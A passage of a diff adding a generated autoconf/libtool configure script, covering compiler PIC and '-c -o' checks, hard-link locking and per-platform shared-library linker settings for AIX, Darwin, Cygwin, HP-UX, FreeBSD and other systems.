PIC flag $lt_prog_compiler_pic works" >&5 +echo $ECHO_N "checking if $compiler PIC flag $lt_prog_compiler_pic works... $ECHO_C" >&6; } +if test "${lt_prog_compiler_pic_works+set}" = set; then + echo $ECHO_N "(cached) $ECHO_C" >&6 +else + lt_prog_compiler_pic_works=no + ac_outfile=conftest.$ac_objext + printf "$lt_simple_compile_test_code" > conftest.$ac_ext + lt_compiler_flag="$lt_prog_compiler_pic -DPIC" + # Insert the option either (1) after the last *FLAGS variable, or + # (2) before a word containing "conftest.", or (3) at the end. + # Note that $ac_compile itself does not contain backslashes and begins + # with a dollar sign (not a hyphen), so the echo should work correctly. + # The option is referenced via a variable to avoid confusing sed. + lt_compile=`echo "$ac_compile" | $SED \ + -e 's:.*FLAGS}? :&$lt_compiler_flag :; t' \ + -e 's: [^ ]*conftest\.: $lt_compiler_flag&:; t' \ + -e 's:$: $lt_compiler_flag:'` + (eval echo "\"\$as_me:7168: $lt_compile\"" >&5) + (eval "$lt_compile" 2>conftest.err) + ac_status=$? + cat conftest.err >&5 + echo "$as_me:7172: \$? = $ac_status" >&5 + if (exit $ac_status) && test -s "$ac_outfile"; then + # The compiler can only warn and ignore the option if not recognized + # So say no if there are warnings + if test ! -s conftest.err; then + lt_prog_compiler_pic_works=yes + fi + fi + $rm conftest* + +fi +{ echo "$as_me:$LINENO: result: $lt_prog_compiler_pic_works" >&5 +echo "${ECHO_T}$lt_prog_compiler_pic_works" >&6; } + +if test x"$lt_prog_compiler_pic_works" = xyes; then + case $lt_prog_compiler_pic in + "" | " "*) ;; + *) lt_prog_compiler_pic=" $lt_prog_compiler_pic" ;; + esac +else + lt_prog_compiler_pic= + lt_prog_compiler_can_build_shared=no +fi + +fi +case "$host_os" in + # For platforms which do not support PIC, -DPIC is meaningless: + *djgpp*) + lt_prog_compiler_pic= + ;; + *) + lt_prog_compiler_pic="$lt_prog_compiler_pic -DPIC" + ;; +esac + +{ echo "$as_me:$LINENO: checking if $compiler supports -c -o file.$ac_objext" >&5 +echo $ECHO_N "checking if $compiler supports -c -o file.$ac_objext... $ECHO_C" >&6; } +if test "${lt_cv_prog_compiler_c_o+set}" = set; then + echo $ECHO_N "(cached) $ECHO_C" >&6 +else + lt_cv_prog_compiler_c_o=no + $rm -r conftest 2>/dev/null + mkdir conftest + cd conftest + mkdir out + printf "$lt_simple_compile_test_code" > conftest.$ac_ext + + lt_compiler_flag="-o out/conftest2.$ac_objext" + # Insert the option either (1) after the last *FLAGS variable, or + # (2) before a word containing "conftest.", or (3) at the end. + # Note that $ac_compile itself does not contain backslashes and begins + # with a dollar sign (not a hyphen), so the echo should work correctly. + lt_compile=`echo "$ac_compile" | $SED \ + -e 's:.*FLAGS}? :&$lt_compiler_flag :; t' \ + -e 's: [^ ]*conftest\.: $lt_compiler_flag&:; t' \ + -e 's:$: $lt_compiler_flag:'` + (eval echo "\"\$as_me:7228: $lt_compile\"" >&5) + (eval "$lt_compile" 2>out/conftest.err) + ac_status=$? + cat out/conftest.err >&5 + echo "$as_me:7232: \$? = $ac_status" >&5 + if (exit $ac_status) && test -s out/conftest2.$ac_objext + then + # The compiler can only warn and ignore the option if not recognized + # So say no if there are warnings + if test ! -s out/conftest.err; then + lt_cv_prog_compiler_c_o=yes + fi + fi + chmod u+w . + $rm conftest* + # SGI C++ compiler will create directory out/ii_files/ for + # template instantiation + test -d out/ii_files && $rm out/ii_files/* && rmdir out/ii_files + $rm out/* && rmdir out + cd .. + rmdir conftest + $rm conftest* + +fi +{ echo "$as_me:$LINENO: result: $lt_cv_prog_compiler_c_o" >&5 +echo "${ECHO_T}$lt_cv_prog_compiler_c_o" >&6; } + + +hard_links="nottested" +if test "$lt_cv_prog_compiler_c_o" = no && test "$need_locks" != no; then + # do not overwrite the value of need_locks provided by the user + { echo "$as_me:$LINENO: checking if we can lock with hard links" >&5 +echo $ECHO_N "checking if we can lock with hard links... $ECHO_C" >&6; } + hard_links=yes + $rm conftest* + ln conftest.a conftest.b 2>/dev/null && hard_links=no + touch conftest.a + ln conftest.a conftest.b 2>&5 || hard_links=no + ln conftest.a conftest.b 2>/dev/null && hard_links=no + { echo "$as_me:$LINENO: result: $hard_links" >&5 +echo "${ECHO_T}$hard_links" >&6; } + if test "$hard_links" = no; then + { echo "$as_me:$LINENO: WARNING: \`$CC' does not support \`-c -o', so \`make -j' may be unsafe" >&5 +echo "$as_me: WARNING: \`$CC' does not support \`-c -o', so \`make -j' may be unsafe" >&2;} + need_locks=warn + fi +else + need_locks=no +fi + +{ echo "$as_me:$LINENO: checking whether the $compiler linker ($LD) supports shared libraries" >&5 +echo $ECHO_N "checking whether the $compiler linker ($LD) supports shared libraries... $ECHO_C" >&6; } + + runpath_var= + allow_undefined_flag= + enable_shared_with_static_runtimes=no + archive_cmds= + archive_expsym_cmds= + old_archive_From_new_cmds= + old_archive_from_expsyms_cmds= + export_dynamic_flag_spec= + whole_archive_flag_spec= + thread_safe_flag_spec= + hardcode_libdir_flag_spec= + hardcode_libdir_flag_spec_ld= + hardcode_libdir_separator= + hardcode_direct=no + hardcode_minus_L=no + hardcode_shlibpath_var=unsupported + link_all_deplibs=unknown + hardcode_automatic=no + module_cmds= + module_expsym_cmds= + always_export_symbols=no + export_symbols_cmds='$NM $libobjs $convenience | $global_symbol_pipe | $SED '\''s/.* //'\'' | sort | uniq > $export_symbols' + # include_expsyms should be a list of space-separated symbols to be *always* + # included in the symbol list + include_expsyms= + # exclude_expsyms can be an extended regexp of symbols to exclude + # it will be wrapped by ` (' and `)$', so one must not match beginning or + # end of line. Example: `a|bc|.*d.*' will exclude the symbols `a' and `bc', + # as well as any symbol that contains `d'. + exclude_expsyms="_GLOBAL_OFFSET_TABLE_" + # Although _GLOBAL_OFFSET_TABLE_ is a valid symbol C name, most a.out + # platforms (ab)use it in PIC code, but their linkers get confused if + # the symbol is explicitly referenced. Since portable code cannot + # rely on this symbol name, it's probably fine to never include it in + # preloaded symbol tables. + extract_expsyms_cmds= + + case $host_os in + cygwin* | mingw* | pw32*) + # FIXME: the MSVC++ port hasn't been tested in a loooong time + # When not using gcc, we currently assume that we are using + # Microsoft Visual C++. + if test "$GCC" != yes; then + with_gnu_ld=no + fi + ;; + openbsd*) + with_gnu_ld=no + ;; + esac + + ld_shlibs=yes + if test "$with_gnu_ld" = yes; then + # If archive_cmds runs LD, not CC, wlarc should be empty + wlarc='${wl}' + + # See if GNU ld supports shared libraries. + case $host_os in + aix3* | aix4* | aix5*) + # On AIX/PPC, the GNU linker is very broken + if test "$host_cpu" != ia64; then + ld_shlibs=no + cat <&2 + +*** Warning: the GNU linker, at least up to release 2.9.1, is reported +*** to be unable to reliably create shared libraries on AIX. +*** Therefore, libtool is disabling shared libraries support. If you +*** really care for shared libraries, you may want to modify your PATH +*** so that a non-GNU linker is found, and then restart. + +EOF + fi + ;; + + amigaos*) + archive_cmds='$rm $output_objdir/a2ixlibrary.data~$echo "#define NAME $libname" > $output_objdir/a2ixlibrary.data~$echo "#define LIBRARY_ID 1" >> $output_objdir/a2ixlibrary.data~$echo "#define VERSION $major" >> $output_objdir/a2ixlibrary.data~$echo "#define REVISION $revision" >> $output_objdir/a2ixlibrary.data~$AR $AR_FLAGS $lib $libobjs~$RANLIB $lib~(cd $output_objdir && a2ixlibrary -32)' + hardcode_libdir_flag_spec='-L$libdir' + hardcode_minus_L=yes + + # Samuel A. Falvo II reports + # that the semantics of dynamic libraries on AmigaOS, at least up + # to version 4, is to share data among multiple programs linked + # with the same dynamic library. Since this doesn't match the + # behavior of shared libraries on other platforms, we can't use + # them. + ld_shlibs=no + ;; + + beos*) + if $LD --help 2>&1 | grep ': supported targets:.* elf' > /dev/null; then + allow_undefined_flag=unsupported + # Joseph Beckenbach says some releases of gcc + # support --undefined. This deserves some investigation. FIXME + archive_cmds='$CC -nostart $libobjs $deplibs $compiler_flags ${wl}-soname $wl$soname -o $lib' + else + ld_shlibs=no + fi + ;; + + cygwin* | mingw* | pw32*) + # _LT_AC_TAGVAR(hardcode_libdir_flag_spec, ) is actually meaningless, + # as there is no search path for DLLs. + hardcode_libdir_flag_spec='-L$libdir' + allow_undefined_flag=unsupported + always_export_symbols=no + enable_shared_with_static_runtimes=yes + export_symbols_cmds='$NM $libobjs $convenience | $global_symbol_pipe | $SED -e '\''/^[BCDGS] /s/.* \([^ ]*\)/\1 DATA/'\'' | $SED -e '\''/^[AITW] /s/.* //'\'' | sort | uniq > $export_symbols' + + if $LD --help 2>&1 | grep 'auto-import' > /dev/null; then + archive_cmds='$CC -shared $libobjs $deplibs $compiler_flags -o $output_objdir/$soname ${wl}--image-base=0x10000000 ${wl}--out-implib,$lib' + # If the export-symbols file already is a .def file (1st line + # is EXPORTS), use it as is; otherwise, prepend... + archive_expsym_cmds='if test "x`$SED 1q $export_symbols`" = xEXPORTS; then + cp $export_symbols $output_objdir/$soname.def; + else + echo EXPORTS > $output_objdir/$soname.def; + cat $export_symbols >> $output_objdir/$soname.def; + fi~ + $CC -shared $output_objdir/$soname.def $libobjs $deplibs $compiler_flags -o $output_objdir/$soname ${wl}--image-base=0x10000000 ${wl}--out-implib,$lib' + else + ld_shlibs=no + fi + ;; + + netbsd*) + if echo __ELF__ | $CC -E - | grep __ELF__ >/dev/null; then + archive_cmds='$LD -Bshareable $libobjs $deplibs $linker_flags -o $lib' + wlarc= + else + archive_cmds='$CC -shared $libobjs $deplibs $compiler_flags ${wl}-soname $wl$soname -o $lib' + archive_expsym_cmds='$CC -shared $libobjs $deplibs $compiler_flags ${wl}-soname $wl$soname ${wl}-retain-symbols-file $wl$export_symbols -o $lib' + fi + ;; + + solaris* | sysv5*) + if $LD -v 2>&1 | grep 'BFD 2\.8' > /dev/null; then + ld_shlibs=no + cat <&2 + +*** Warning: The releases 2.8.* of the GNU linker cannot reliably +*** create shared libraries on Solaris systems. Therefore, libtool +*** is disabling shared libraries support. We urge you to upgrade GNU +*** binutils to release 2.9.1 or newer. Another option is to modify +*** your PATH or compiler configuration so that the native linker is +*** used, and then restart. + +EOF + elif $LD --help 2>&1 | grep ': supported targets:.* elf' > /dev/null; then + archive_cmds='$CC -shared $libobjs $deplibs $compiler_flags ${wl}-soname $wl$soname -o $lib' + archive_expsym_cmds='$CC -shared $libobjs $deplibs $compiler_flags ${wl}-soname $wl$soname ${wl}-retain-symbols-file $wl$export_symbols -o $lib' + else + ld_shlibs=no + fi + ;; + + sunos4*) + archive_cmds='$LD -assert pure-text -Bshareable -o $lib $libobjs $deplibs $linker_flags' + wlarc= + hardcode_direct=yes + hardcode_shlibpath_var=no + ;; + + linux*) + if $LD --help 2>&1 | grep ': supported targets:.* elf' > /dev/null; then + tmp_archive_cmds='$CC -shared $libobjs $deplibs $compiler_flags ${wl}-soname $wl$soname -o $lib' + archive_cmds="$tmp_archive_cmds" + supports_anon_versioning=no + case `$LD -v 2>/dev/null` in + *\ 01.* | *\ 2.[0-9].* | *\ 2.10.*) ;; # catch versions < 2.11 + *\ 2.11.93.0.2\ *) supports_anon_versioning=yes ;; # RH7.3 ... + *\ 2.11.92.0.12\ *) supports_anon_versioning=yes ;; # Mandrake 8.2 ... + *\ 2.11.*) ;; # other 2.11 versions + *) supports_anon_versioning=yes ;; + esac + if test $supports_anon_versioning = yes; then + archive_expsym_cmds='$echo "{ global:" > $output_objdir/$libname.ver~ +cat $export_symbols | sed -e "s/\(.*\)/\1;/" >> $output_objdir/$libname.ver~ +$echo "local: *; };" >> $output_objdir/$libname.ver~ + $CC -shared $libobjs $deplibs $compiler_flags ${wl}-soname $wl$soname ${wl}-version-script ${wl}$output_objdir/$libname.ver -o $lib' + else + archive_expsym_cmds="$tmp_archive_cmds" + fi + else + ld_shlibs=no + fi + ;; + + *) + if $LD --help 2>&1 | grep ': supported targets:.* elf' > /dev/null; then + archive_cmds='$CC -shared $libobjs $deplibs $compiler_flags ${wl}-soname $wl$soname -o $lib' + archive_expsym_cmds='$CC -shared $libobjs $deplibs $compiler_flags ${wl}-soname $wl$soname ${wl}-retain-symbols-file $wl$export_symbols -o $lib' + else + ld_shlibs=no + fi + ;; + esac + + if test "$ld_shlibs" = yes; then + runpath_var=LD_RUN_PATH + hardcode_libdir_flag_spec='${wl}--rpath ${wl}$libdir' + export_dynamic_flag_spec='${wl}--export-dynamic' + # ancient GNU ld didn't support --whole-archive et. al. + if $LD --help 2>&1 | grep 'no-whole-archive' > /dev/null; then + whole_archive_flag_spec="$wlarc"'--whole-archive$convenience '"$wlarc"'--no-whole-archive' + else + whole_archive_flag_spec= + fi + fi + else + # PORTME fill in a description of your system's linker (not GNU ld) + case $host_os in + aix3*) + allow_undefined_flag=unsupported + always_export_symbols=yes + archive_expsym_cmds='$LD -o $output_objdir/$soname $libobjs $deplibs $linker_flags -bE:$export_symbols -T512 -H512 -bM:SRE~$AR $AR_FLAGS $lib $output_objdir/$soname' + # Note: this linker hardcodes the directories in LIBPATH if there + # are no directories specified by -L. + hardcode_minus_L=yes + if test "$GCC" = yes && test -z "$link_static_flag"; then + # Neither direct hardcoding nor static linking is supported with a + # broken collect2. + hardcode_direct=unsupported + fi + ;; + + aix4* | aix5*) + if test "$host_cpu" = ia64; then + # On IA64, the linker does run time linking by default, so we don't + # have to do anything special. + aix_use_runtimelinking=no + exp_sym_flag='-Bexport' + no_entry_flag="" + else + # If we're using GNU nm, then we don't want the "-C" option. + # -C means demangle to AIX nm, but means don't demangle with GNU nm + if $NM -V 2>&1 | grep 'GNU' > /dev/null; then + export_symbols_cmds='$NM -Bpg $libobjs $convenience | awk '\''{ if (((\$2 == "T") || (\$2 == "D") || (\$2 == "B")) && (substr(\$3,1,1) != ".")) { print \$3 } }'\'' | sort -u > $export_symbols' + else + export_symbols_cmds='$NM -BCpg $libobjs $convenience | awk '\''{ if (((\$2 == "T") || (\$2 == "D") || (\$2 == "B")) && (substr(\$3,1,1) != ".")) { print \$3 } }'\'' | sort -u > $export_symbols' + fi + aix_use_runtimelinking=no + + # Test if we are trying to use run time linking or normal + # AIX style linking. If -brtl is somewhere in LDFLAGS, we + # need to do runtime linking. + case $host_os in aix4.[23]|aix4.[23].*|aix5*) + for ld_flag in $LDFLAGS; do + if (test $ld_flag = "-brtl" || test $ld_flag = "-Wl,-brtl"); then + aix_use_runtimelinking=yes + break + fi + done + esac + + exp_sym_flag='-bexport' + no_entry_flag='-bnoentry' + fi + + # When large executables or shared objects are built, AIX ld can + # have problems creating the table of contents. If linking a library + # or program results in "error TOC overflow" add -mminimal-toc to + # CXXFLAGS/CFLAGS for g++/gcc. In the cases where that is not + # enough to fix the problem, add -Wl,-bbigtoc to LDFLAGS. + + archive_cmds='' + hardcode_direct=yes + hardcode_libdir_separator=':' + link_all_deplibs=yes + + if test "$GCC" = yes; then + case $host_os in aix4.012|aix4.012.*) + # We only want to do this on AIX 4.2 and lower, the check + # below for broken collect2 doesn't work under 4.3+ + collect2name=`${CC} -print-prog-name=collect2` + if test -f "$collect2name" && \ + strings "$collect2name" | grep resolve_lib_name >/dev/null + then + # We have reworked collect2 + hardcode_direct=yes + else + # We have old collect2 + hardcode_direct=unsupported + # It fails to find uninstalled libraries when the uninstalled + # path is not listed in the libpath. Setting hardcode_minus_L + # to unsupported forces relinking + hardcode_minus_L=yes + hardcode_libdir_flag_spec='-L$libdir' + hardcode_libdir_separator= + fi + esac + shared_flag='-shared' + else + # not using gcc + if test "$host_cpu" = ia64; then + # VisualAge C++, Version 5.5 for AIX 5L for IA-64, Beta 3 Release + # chokes on -Wl,-G. The following line is correct: + shared_flag='-G' + else + if test "$aix_use_runtimelinking" = yes; then + shared_flag='${wl}-G' + else + shared_flag='${wl}-bM:SRE' + fi + fi + fi + + # It seems that -bexpall does not export symbols beginning with + # underscore (_), so it is better to generate a list of symbols to export. + always_export_symbols=yes + if test "$aix_use_runtimelinking" = yes; then + # Warning - without using the other runtime loading flags (-brtl), + # -berok will link without error, but may produce a broken library. + allow_undefined_flag='-berok' + # Determine the default libpath from the value encoded in an empty executable. + cat >conftest.$ac_ext <<_ACEOF +/* confdefs.h. */ +_ACEOF +cat confdefs.h >>conftest.$ac_ext +cat >>conftest.$ac_ext <<_ACEOF +/* end confdefs.h. */ + +int +main () +{ + + ; + return 0; +} +_ACEOF +rm -f conftest.$ac_objext conftest$ac_exeext +if { (ac_try="$ac_link" +case "(($ac_try" in + *\"* | *\`* | *\\*) ac_try_echo=\$ac_try;; + *) ac_try_echo=$ac_try;; +esac +eval "echo \"\$as_me:$LINENO: $ac_try_echo\"") >&5 + (eval "$ac_link") 2>conftest.er1 + ac_status=$? + grep -v '^ *+' conftest.er1 >conftest.err + rm -f conftest.er1 + cat conftest.err >&5 + echo "$as_me:$LINENO: \$? = $ac_status" >&5 + (exit $ac_status); } && + { ac_try='test -z "$ac_c_werror_flag" || test ! -s conftest.err' + { (case "(($ac_try" in + *\"* | *\`* | *\\*) ac_try_echo=\$ac_try;; + *) ac_try_echo=$ac_try;; +esac +eval "echo \"\$as_me:$LINENO: $ac_try_echo\"") >&5 + (eval "$ac_try") 2>&5 + ac_status=$? + echo "$as_me:$LINENO: \$? = $ac_status" >&5 + (exit $ac_status); }; } && + { ac_try='test -s conftest$ac_exeext' + { (case "(($ac_try" in + *\"* | *\`* | *\\*) ac_try_echo=\$ac_try;; + *) ac_try_echo=$ac_try;; +esac +eval "echo \"\$as_me:$LINENO: $ac_try_echo\"") >&5 + (eval "$ac_try") 2>&5 + ac_status=$? + echo "$as_me:$LINENO: \$? = $ac_status" >&5 + (exit $ac_status); }; }; then + +aix_libpath=`dump -H conftest$ac_exeext 2>/dev/null | $SED -n -e '/Import File Strings/,/^$/ { /^0/ { s/^0 *\(.*\)$/\1/; p; } +}'` +# Check for a 64-bit object if we didn't find anything. +if test -z "$aix_libpath"; then aix_libpath=`dump -HX64 conftest$ac_exeext 2>/dev/null | $SED -n -e '/Import File Strings/,/^$/ { /^0/ { s/^0 *\(.*\)$/\1/; p; } +}'`; fi +else + echo "$as_me: failed program was:" >&5 +sed 's/^/| /' conftest.$ac_ext >&5 + + +fi + +rm -f core conftest.err conftest.$ac_objext \ + conftest$ac_exeext conftest.$ac_ext +if test -z "$aix_libpath"; then aix_libpath="/usr/lib:/lib"; fi + + hardcode_libdir_flag_spec='${wl}-blibpath:$libdir:'"$aix_libpath" + archive_expsym_cmds="\$CC"' -o $output_objdir/$soname $libobjs $deplibs $compiler_flags `if test "x${allow_undefined_flag}" != "x"; then echo "${wl}${allow_undefined_flag}"; else :; fi` '"\${wl}$no_entry_flag \${wl}$exp_sym_flag:\$export_symbols $shared_flag" + else + if test "$host_cpu" = ia64; then + hardcode_libdir_flag_spec='${wl}-R $libdir:/usr/lib:/lib' + allow_undefined_flag="-z nodefs" + archive_expsym_cmds="\$CC $shared_flag"' -o $output_objdir/$soname $libobjs $deplibs $compiler_flags ${wl}${allow_undefined_flag} '"\${wl}$no_entry_flag \${wl}$exp_sym_flag:\$export_symbols" + else + # Determine the default libpath from the value encoded in an empty executable. + cat >conftest.$ac_ext <<_ACEOF +/* confdefs.h. */ +_ACEOF +cat confdefs.h >>conftest.$ac_ext +cat >>conftest.$ac_ext <<_ACEOF +/* end confdefs.h. */ + +int +main () +{ + + ; + return 0; +} +_ACEOF +rm -f conftest.$ac_objext conftest$ac_exeext +if { (ac_try="$ac_link" +case "(($ac_try" in + *\"* | *\`* | *\\*) ac_try_echo=\$ac_try;; + *) ac_try_echo=$ac_try;; +esac +eval "echo \"\$as_me:$LINENO: $ac_try_echo\"") >&5 + (eval "$ac_link") 2>conftest.er1 + ac_status=$? + grep -v '^ *+' conftest.er1 >conftest.err + rm -f conftest.er1 + cat conftest.err >&5 + echo "$as_me:$LINENO: \$? = $ac_status" >&5 + (exit $ac_status); } && + { ac_try='test -z "$ac_c_werror_flag" || test ! -s conftest.err' + { (case "(($ac_try" in + *\"* | *\`* | *\\*) ac_try_echo=\$ac_try;; + *) ac_try_echo=$ac_try;; +esac +eval "echo \"\$as_me:$LINENO: $ac_try_echo\"") >&5 + (eval "$ac_try") 2>&5 + ac_status=$? + echo "$as_me:$LINENO: \$? = $ac_status" >&5 + (exit $ac_status); }; } && + { ac_try='test -s conftest$ac_exeext' + { (case "(($ac_try" in + *\"* | *\`* | *\\*) ac_try_echo=\$ac_try;; + *) ac_try_echo=$ac_try;; +esac +eval "echo \"\$as_me:$LINENO: $ac_try_echo\"") >&5 + (eval "$ac_try") 2>&5 + ac_status=$? + echo "$as_me:$LINENO: \$? = $ac_status" >&5 + (exit $ac_status); }; }; then + +aix_libpath=`dump -H conftest$ac_exeext 2>/dev/null | $SED -n -e '/Import File Strings/,/^$/ { /^0/ { s/^0 *\(.*\)$/\1/; p; } +}'` +# Check for a 64-bit object if we didn't find anything. +if test -z "$aix_libpath"; then aix_libpath=`dump -HX64 conftest$ac_exeext 2>/dev/null | $SED -n -e '/Import File Strings/,/^$/ { /^0/ { s/^0 *\(.*\)$/\1/; p; } +}'`; fi +else + echo "$as_me: failed program was:" >&5 +sed 's/^/| /' conftest.$ac_ext >&5 + + +fi + +rm -f core conftest.err conftest.$ac_objext \ + conftest$ac_exeext conftest.$ac_ext +if test -z "$aix_libpath"; then aix_libpath="/usr/lib:/lib"; fi + + hardcode_libdir_flag_spec='${wl}-blibpath:$libdir:'"$aix_libpath" + # Warning - without using the other run time loading flags, + # -berok will link without error, but may produce a broken library. + no_undefined_flag=' ${wl}-bernotok' + allow_undefined_flag=' ${wl}-berok' + # -bexpall does not export symbols beginning with underscore (_) + always_export_symbols=yes + # Exported symbols can be pulled into shared objects from archives + whole_archive_flag_spec=' ' + archive_cmds_need_lc=yes + # This is similar to how AIX traditionally builds it's shared libraries. + archive_expsym_cmds="\$CC $shared_flag"' -o $output_objdir/$soname $libobjs $deplibs $compiler_flags ${wl}-bE:$export_symbols ${wl}-bnoentry${allow_undefined_flag}~$AR $AR_FLAGS $output_objdir/$libname$release.a $output_objdir/$soname' + fi + fi + ;; + + amigaos*) + archive_cmds='$rm $output_objdir/a2ixlibrary.data~$echo "#define NAME $libname" > $output_objdir/a2ixlibrary.data~$echo "#define LIBRARY_ID 1" >> $output_objdir/a2ixlibrary.data~$echo "#define VERSION $major" >> $output_objdir/a2ixlibrary.data~$echo "#define REVISION $revision" >> $output_objdir/a2ixlibrary.data~$AR $AR_FLAGS $lib $libobjs~$RANLIB $lib~(cd $output_objdir && a2ixlibrary -32)' + hardcode_libdir_flag_spec='-L$libdir' + hardcode_minus_L=yes + # see comment about different semantics on the GNU ld section + ld_shlibs=no + ;; + + bsdi[45]*) + export_dynamic_flag_spec=-rdynamic + ;; + + cygwin* | mingw* | pw32*) + # When not using gcc, we currently assume that we are using + # Microsoft Visual C++. + # hardcode_libdir_flag_spec is actually meaningless, as there is + # no search path for DLLs. + hardcode_libdir_flag_spec=' ' + allow_undefined_flag=unsupported + # Tell ltmain to make .lib files, not .a files. + libext=lib + # Tell ltmain to make .dll files, not .so files. + shrext_cmds=".dll" + # FIXME: Setting linknames here is a bad hack. + archive_cmds='$CC -o $lib $libobjs $compiler_flags `echo "$deplibs" | $SED -e '\''s/ -lc$//'\''` -link -dll~linknames=' + # The linker will automatically build a .lib file if we build a DLL. + old_archive_From_new_cmds='true' + # FIXME: Should let the user specify the lib program. + old_archive_cmds='lib /OUT:$oldlib$oldobjs$old_deplibs' + fix_srcfile_path='`cygpath -w "$srcfile"`' + enable_shared_with_static_runtimes=yes + ;; + + darwin* | rhapsody*) + case "$host_os" in + rhapsody* | darwin1.[012]) + allow_undefined_flag='${wl}-undefined ${wl}suppress' + ;; + *) # Darwin 1.3 on + if test -z ${MACOSX_DEPLOYMENT_TARGET} ; then + allow_undefined_flag='${wl}-flat_namespace ${wl}-undefined ${wl}suppress' + else + case ${MACOSX_DEPLOYMENT_TARGET} in + 10.[012]) + allow_undefined_flag='${wl}-flat_namespace ${wl}-undefined ${wl}suppress' + ;; + 10.*) + allow_undefined_flag='${wl}-undefined ${wl}dynamic_lookup' + ;; + esac + fi + ;; + esac + archive_cmds_need_lc=no + hardcode_direct=no + hardcode_automatic=yes + hardcode_shlibpath_var=unsupported + whole_archive_flag_spec='' + link_all_deplibs=yes + if test "$GCC" = yes ; then + output_verbose_link_cmd='echo' + archive_cmds='$CC -dynamiclib $allow_undefined_flag -o $lib $libobjs $deplibs $compiler_flags -install_name $rpath/$soname $verstring' + module_cmds='$CC $allow_undefined_flag -o $lib -bundle $libobjs $deplibs$compiler_flags' + # Don't fix this by using the ld -exported_symbols_list flag, it doesn't exist in older darwin ld's + archive_expsym_cmds='sed -e "s,#.*,," -e "s,^[ ]*,," -e "s,^\(..*\),_&," < $export_symbols > $output_objdir/${libname}-symbols.expsym~$CC -dynamiclib $allow_undefined_flag -o $lib $libobjs $deplibs $compiler_flags -install_name $rpath/$soname $verstring~nmedit -s $output_objdir/${libname}-symbols.expsym ${lib}' + module_expsym_cmds='sed -e "s,#.*,," -e "s,^[ ]*,," -e "s,^\(..*\),_&," < $export_symbols > $output_objdir/${libname}-symbols.expsym~$CC $allow_undefined_flag -o $lib -bundle $libobjs $deplibs$compiler_flags~nmedit -s $output_objdir/${libname}-symbols.expsym ${lib}' + else + case "$cc_basename" in + xlc*) + output_verbose_link_cmd='echo' + archive_cmds='$CC -qmkshrobj $allow_undefined_flag -o $lib $libobjs $deplibs $compiler_flags ${wl}-install_name ${wl}`echo $rpath/$soname` $verstring' + module_cmds='$CC $allow_undefined_flag -o $lib -bundle $libobjs $deplibs$compiler_flags' + # Don't fix this by using the ld -exported_symbols_list flag, it doesn't exist in older darwin ld's + archive_expsym_cmds='sed -e "s,#.*,," -e "s,^[ ]*,," -e "s,^\(..*\),_&," < $export_symbols > $output_objdir/${libname}-symbols.expsym~$CC -qmkshrobj $allow_undefined_flag -o $lib $libobjs $deplibs $compiler_flags ${wl}-install_name ${wl}$rpath/$soname $verstring~nmedit -s $output_objdir/${libname}-symbols.expsym ${lib}' + module_expsym_cmds='sed -e "s,#.*,," -e "s,^[ ]*,," -e "s,^\(..*\),_&," < $export_symbols > $output_objdir/${libname}-symbols.expsym~$CC $allow_undefined_flag -o $lib -bundle $libobjs $deplibs$compiler_flags~nmedit -s $output_objdir/${libname}-symbols.expsym ${lib}' + ;; + *) + ld_shlibs=no + ;; + esac + fi + ;; + + dgux*) + archive_cmds='$LD -G -h $soname -o $lib $libobjs $deplibs $linker_flags' + hardcode_libdir_flag_spec='-L$libdir' + hardcode_shlibpath_var=no + ;; + + freebsd1*) + ld_shlibs=no + ;; + + # FreeBSD 2.2.[012] allows us to include c++rt0.o to get C++ constructor + # support. Future versions do this automatically, but an explicit c++rt0.o + # does not break anything, and helps significantly (at the cost of a little + # extra space). + freebsd2.2*) + archive_cmds='$LD -Bshareable -o $lib $libobjs $deplibs $linker_flags /usr/lib/c++rt0.o' + hardcode_libdir_flag_spec='-R$libdir' + hardcode_direct=yes + hardcode_shlibpath_var=no + ;; + + # Unfortunately, older versions of FreeBSD 2 do not have this feature. + freebsd2*) + archive_cmds='$LD -Bshareable -o $lib $libobjs $deplibs $linker_flags' + hardcode_direct=yes + hardcode_minus_L=yes + hardcode_shlibpath_var=no + ;; + + # FreeBSD 3 and greater uses gcc -shared to do shared libraries. + freebsd* | kfreebsd*-gnu) + archive_cmds='$CC -shared -o $lib $libobjs $deplibs $compiler_flags' + hardcode_libdir_flag_spec='-R$libdir' + hardcode_direct=yes + hardcode_shlibpath_var=no + ;; + + hpux9*) + if test "$GCC" = yes; then + archive_cmds='$rm $output_objdir/$soname~$CC -shared -fPIC ${wl}+b ${wl}$install_libdir -o $output_objdir/$soname $libobjs $deplibs $compiler_flags~test $output_objdir/$soname = $lib || mv $output_objdir/$soname $lib' + else + archive_cmds='$rm $output_objdir/$soname~$LD -b +b $install_libdir -o $output_objdir/$soname $libobjs $deplibs $linker_flags~test $output_objdir/$soname = $lib || mv $output_objdir/$soname $lib' + fi + hardcode_libdir_flag_spec='${wl}+b ${wl}$libdir' + hardcode_libdir_separator=: + hardcode_direct=yes + + # hardcode_minus_L: Not really in the search PATH, + # but as the default location of the library. + hardcode_minus_L=yes + export_dynamic_flag_spec='${wl}-E' + ;; + + hpux10* | hpux11*) + if test "$GCC" = yes -a "$with_gnu_ld" = no; then + case "$host_cpu" in + hppa*64*|ia64*) + archive_cmds='$CC -shared ${wl}+h ${wl}$soname -o $lib $libobjs $deplibs $compiler_flags' + ;; + *) + archive_cmds='$CC -shared -fPIC ${wl}+h ${wl}$soname ${wl}+b ${wl}$install_libdir -o $lib $libobjs $deplibs $compiler_flags' + ;; + esac + else + case "$host_cpu" in + hppa*64*|ia64*) + archive_cmds='$LD -b +h $soname -o $lib $libobjs $deplibs $linker_flags' + ;; + *) + archive_cmds='$LD -b +h $soname +b $install_libdir -o $lib $libobjs $deplibs $linker_flags' + ;; + esac + fi + if test "$with_gnu_ld" = no; then + case "$host_cpu" in + hppa*64*) + hardcode_libdir_flag_spec='${wl}+b ${wl}$libdir' + hardcode_libdir_flag_spec_ld='+b $libdir' + hardcode_libdir_separator=: + hardcode_direct=no + hardcode_shlibpath_var=no + ;; + ia64*) + hardcode_libdir_flag_spec='-L$libdir' + hardcode_direct=no + hardcode_shlibpath_var=no + + # hardcode_minus_L: Not really in the search PATH, + # but as the default location of the library. + hardcode_minus_L=yes + ;; + *) + hardcode_libdir_flag_spec='${wl}+b ${wl}$libdir' + hardcode_libdir_separator=: + hardcode_direct=yes + export_dynamic_flag_spec='${wl}-E' + + # hardcode_minus_L: Not really in the search PATH, + # but as the default location of the library. + hardcode_minus_L=yes + ;; + esac + fi + ;; + + irix5* | irix6* | nonstopux*) + if test "$GCC" = yes; then + archive_cmds='$CC -shared $libobjs $deplibs $compiler_flags 